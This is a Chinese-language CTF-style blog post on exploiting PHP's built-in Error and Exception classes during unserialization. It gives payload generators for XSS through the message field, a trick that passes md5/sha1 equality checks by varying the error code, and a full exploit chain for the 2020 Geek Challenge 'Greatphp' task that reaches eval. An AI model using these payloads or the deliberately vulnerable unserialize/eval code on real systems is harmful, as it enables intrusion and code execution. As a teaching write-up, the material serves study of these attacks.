ERROR内置类的利用

发布于 2023-04-07  397 次阅读


error类

  • Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法
  • error和exception的内部基本是一样的,所以他们的利用和原理基本相同,下面不再单独讨论exception
Error implements Throwable {
    /* 属性 */
    protected string $message ;
    protected int $code ;
    protected string $file ;
    protected int $line ;
    /* 方法 */
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
    final public getMessage ( ) : string
    final public getPrevious ( ) : Throwable
    final public getCode ( ) : mixed
    final public getFile ( ) : string
    final public getLine ( ) : int
    final public getTrace ( ) : array
    final public getTraceAsString ( ) : string
    public __toString ( ) : string
    final private __clone ( ) : void
}
  • 类属性:

    message:异常消息内容
    code:异常代码
    file:抛出异常的文件名
    line:抛出异常在该文件中的行号

error实现xss

  • 上面可以看到,error可以接收多个参数,其中的message参数表示报错信息,这个参数可以执行js代码

  • 利用条件为有反序列化入口和能够触发tosting

<?php
$a = unserialize($_GET['whoami']);
echo $a;
?> 
<?php
$a = new Exception("<script>alert('xss2')</script>");//error也是一样的
$b = serialize($a);
echo urlencode($b);  
?>

  • 经过测试,这个漏洞可以执行任意的js代码,而不仅仅只能和错误信息联系,比如可以用前面js基础那一篇里面提到的奇怪东西🤣
<?php
$a = new Exception('<script>
txt = "<p>浏览器代号: " + navigator.appCodeName + "</p>";
txt+= "<p>浏览器名称: " + navigator.appName + "</p>";
txt+= "<p>浏览器版本: " + navigator.appVersion + "</p>";
txt+= "<p>启用Cookies: " + navigator.cookieEnabled + "</p>";
txt+= "<p>硬件平台: " + navigator.platform + "</p>";
txt+= "<p>用户代理: " + navigator.userAgent + "</p>";
txt+= "<p>用户代理语言: " + navigator.language + "</p>";
alert(txt)
</script>');
$b = serialize($a);
echo urlencode($b);  
?>

error绕过哈希

  • 上面提到,构造error类可以通过控制message实现任意js代码执行,error类的第二个函数则可以实现绕过哈希
<?php
$a = new Error("good~",1);
$b = serialize($a);
echo urlencode($b);  
?>
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?> 
  • 将error类的结果打印出来

Error: 
good~ 
in D:\phpstudy_pro\WWW\2.php:2 
Stack trace: #0 {main} 

Error是类名
good~是报错信息
in D:\phpstudy_pro\WWW\2.php:2是路径和错误行号
Stack trace: #0 {main} 
  • 可以看到,输出的信息并没有包含最上面提到的error类的第二个参数-错误代码,这导致了下面结果的产生
<?php

$a = new Error("payload",1);$b = new Error("payload",2);

if($a != $b)
{
    echo "a!=b".'<br>';
}

echo $a.'<br>';
echo $b.'<br>';

if(md5($a) === md5($b))
{
    echo "实例化error后a==b";
}

?>

(注意这里两个error类$a,$b要写在同一行,否则会造成行号不同而过不了哈希)

  • 产生这种结果的原因是使用不同的错误代码实例化了两个不同的error类,所以$a != $b,而echo或者md5(md5也会将参数当作字符串处理导致error类被实例化)

  • 将error类实例化后,$a和$b就指向了error类的返回结果,也就是Error: payload in D:\phpstudy_pro\WWW\3.php:3 Stack trace: #0 {main},这段字符串是不受错误代码影响的,所以内容相同可以过md5

  • 简单的来说,控制错误代码(error类的第二个参数)不同可以过a!=b,但是哈希操作导致error实例化,使得类的参数不受错误代码影响导致结果相等

  • Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

  • 我们也可以控制错误代码相同试一下

<?php

$a = new Error("payload",1);$b = new Error("payload",1);

if($a != $b)
{
    echo "a!=b".'<br>';
}

echo $a.'<br>';
echo $b.'<br>';

if(md5($a) === md5($b))
{
    echo "实例化error后a==b";
}

?>

  • 果然,第一个if过不了了,虽然是两个new,但是两者却指向了同一个内存空间,有点像前面java报告中提到的池化,但是java不会合并new出来的类,看了php不会管你是不是new出来的

[2020 极客大挑战]Greatphp

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>
  • 有了上面的方法,过三个if是十分简单的
<?php

class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";//flag的取反+urlencode

$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>
  • ?>用来将error生成的错误信息给闭环掉
  • 过滤了php,前面的报告提到<?=等价于<?php echo
  • 过滤了单引双引,取反绕过,这里有点迷,虽然$str里面是有双引号的,但是它们并不是被转义后的文本字符串,比如下面这个例子
<?php
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $miao, $match)){
               echo 'good~';
           }
         $miao=$str;  
?>

届ける言葉を今は育ててる
最后更新于 2024-02-07